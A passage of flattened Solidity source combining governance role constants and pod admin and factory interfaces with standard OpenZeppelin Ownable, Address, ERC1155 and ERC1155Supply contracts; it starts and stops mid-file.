bytes32 internal constant METAGOVERNANCE_VOTE_ADMIN = keccak256("METAGOVERNANCE_VOTE_ADMIN");
/// @notice allows to manage locking of vote-escrowed tokens, and staking/unstaking
/// governance tokens from a pre-defined contract in order to eventually allow voting.
/// Examples: ANGLE <> veANGLE, AAVE <> stkAAVE, CVX <> vlCVX, CRV > cvxCRV.
bytes32 internal constant METAGOVERNANCE_TOKEN_STAKING = keccak256("METAGOVERNANCE_TOKEN_STAKING");
/// @notice manages whitelisting of gauges where the protocol's tokens can be staked
bytes32 internal constant METAGOVERNANCE_GAUGE_ADMIN = keccak256("METAGOVERNANCE_GAUGE_ADMIN");
/*///////////////////////////////////////////////////////////////
Minor Roles
//////////////////////////////////////////////////////////////*/
bytes32 internal constant POD_METADATA_REGISTER_ROLE = keccak256("POD_METADATA_REGISTER_ROLE");
/// @notice capable of poking existing LBP auctions to exchange tokens.
bytes32 internal constant LBP_SWAP_ROLE = keccak256("SWAP_ADMIN_ROLE");
/// @notice capable of engaging with Votium for voting incentives.
bytes32 internal constant VOTIUM_ROLE = keccak256("VOTIUM_ADMIN_ROLE");
/// @notice capable of adding an address to multi rate limited
bytes32 internal constant ADD_MINTER_ROLE = keccak256("ADD_MINTER_ROLE");
/// @notice capable of changing parameters within non-critical ranges
bytes32 internal constant MINOR_PARAM_ROLE = keccak256("MINOR_PARAM_ROLE");
/// @notice capable of changing PCV Deposit and Global Rate Limited Minter in the PSM
bytes32 internal constant PSM_ADMIN_ROLE = keccak256("PSM_ADMIN_ROLE");
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
interface IPodAdminGateway {
event AddPodMember(uint256 indexed podId, address member);
event RemovePodMember(uint256 indexed podId, address member);
event UpdatePodAdmin(uint256 indexed podId, address oldPodAdmin, address newPodAdmin);
event PodMembershipTransferLock(uint256 indexed podId, bool lock);
// Veto functionality
event VetoTimelock(uint256 indexed podId, address indexed timelock, bytes32 proposalId);
function getSpecificPodAdminRole(uint256 _podId) external pure returns (bytes32);
function getSpecificPodGuardianRole(uint256 _podId) external pure returns (bytes32);
function addPodMember(uint256 _podId, address _member) external;
function batchAddPodMember(uint256 _podId, address[] calldata _members) external;
function removePodMember(uint256 _podId, address _member) external;
function batchRemovePodMember(uint256 _podId, address[] calldata _members) external;
function lockMembershipTransfers(uint256 _podId) external;
function unlockMembershipTransfers(uint256 _podId) external;
function veto(uint256 _podId, bytes32 proposalId) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import {ControllerV1} from "@orcaprotocol/contracts/contracts/ControllerV1.sol";
import {MemberToken} from "@orcaprotocol/contracts/contracts/MemberToken.sol";
interface IPodFactory {
/// @notice Configuration used when creating a pod
/// @param members List of members to be added to the pod
/// @param threshold Number of members that need to approve a transaction on the Gnosis safe
/// @param label Metadata, Human readable label for the pod
/// @param ensString Metadata, ENS name of the pod
/// @param imageUrl Metadata, URL to a image to represent the pod in frontends
/// @param minDelay Delay on the timelock
struct PodConfig {
address[] members;
uint256 threshold;
bytes32 label;
string ensString;
string imageUrl;
address admin;
uint256 minDelay;
}
event CreatePod(uint256 indexed podId, address indexed safeAddress, address indexed timelock);
event CreateTimelock(address indexed timelock);
event UpdatePodController(address indexed oldController, address indexed newController);
event UpdateDefaultPodController(address indexed oldController, address indexed newController);
function deployCouncilPod(PodConfig calldata _config)
external
returns (
uint256,
address,
address
);
function defaultPodController() external view returns (ControllerV1);
function getMemberToken() external view returns (MemberToken);
function getPodSafeAddresses() external view returns (address[] memory);
function getNumberOfPods() external view returns (uint256);
function getPodController(uint256 podId) external view returns (ControllerV1);
function getPodSafe(uint256 podId) external view returns (address);
function getPodTimelock(uint256 podId) external view returns (address);
function getNumMembers(uint256 podId) external view returns (uint256);
function getPodMembers(uint256 podId) external view returns (address[] memory);
function getPodThreshold(uint256 podId) external view returns (uint256);
function getIsMembershipTransferLocked(uint256 podId) external view returns (bool);
function getNextPodId() external view returns (uint256);
function getPodAdmin(uint256 podId) external view returns (address);
function createOptimisticPod(PodConfig calldata _config)
external
returns (
uint256,
address,
address
);
function updateDefaultPodController(address _newDefaultController) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
/**
* @dev Hook that is called after any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC1155/extensions/ERC1155Supply.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155Supply is ERC1155 {
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates whether any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155Supply.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
if (from == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
if (to == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 supply = _totalSupply[id];
require(supply >= amount, "ERC1155: burn amount exceeds totalSupply");
unchecked {
_totalSupply[id] = supply - amount;
}
}
}
}
}
pragma solidity 0.8.7;
interface IControllerRegistry{
/**
* @param _controller Address to check if registered as a controller
* @return Boolean representing if the address is a registered as a controller
*/
function isRegistered(address _controller) external view returns (bool);
}
pragma solidity 0.8.7;
interface IControllerBase {
/**
* @param operator The account address that initiated the action
* @param from The account address sending the membership token
* @param to The account address recieving the membership token
* @param ids An array of membership token ids to be transfered
* @param amounts The amount of each membership token type to transfer
* @param data Arbitrary data
*/
function beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) external;
function updatePodState(
uint256 _podId,
address _podAdmin,
address _safeAddress
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
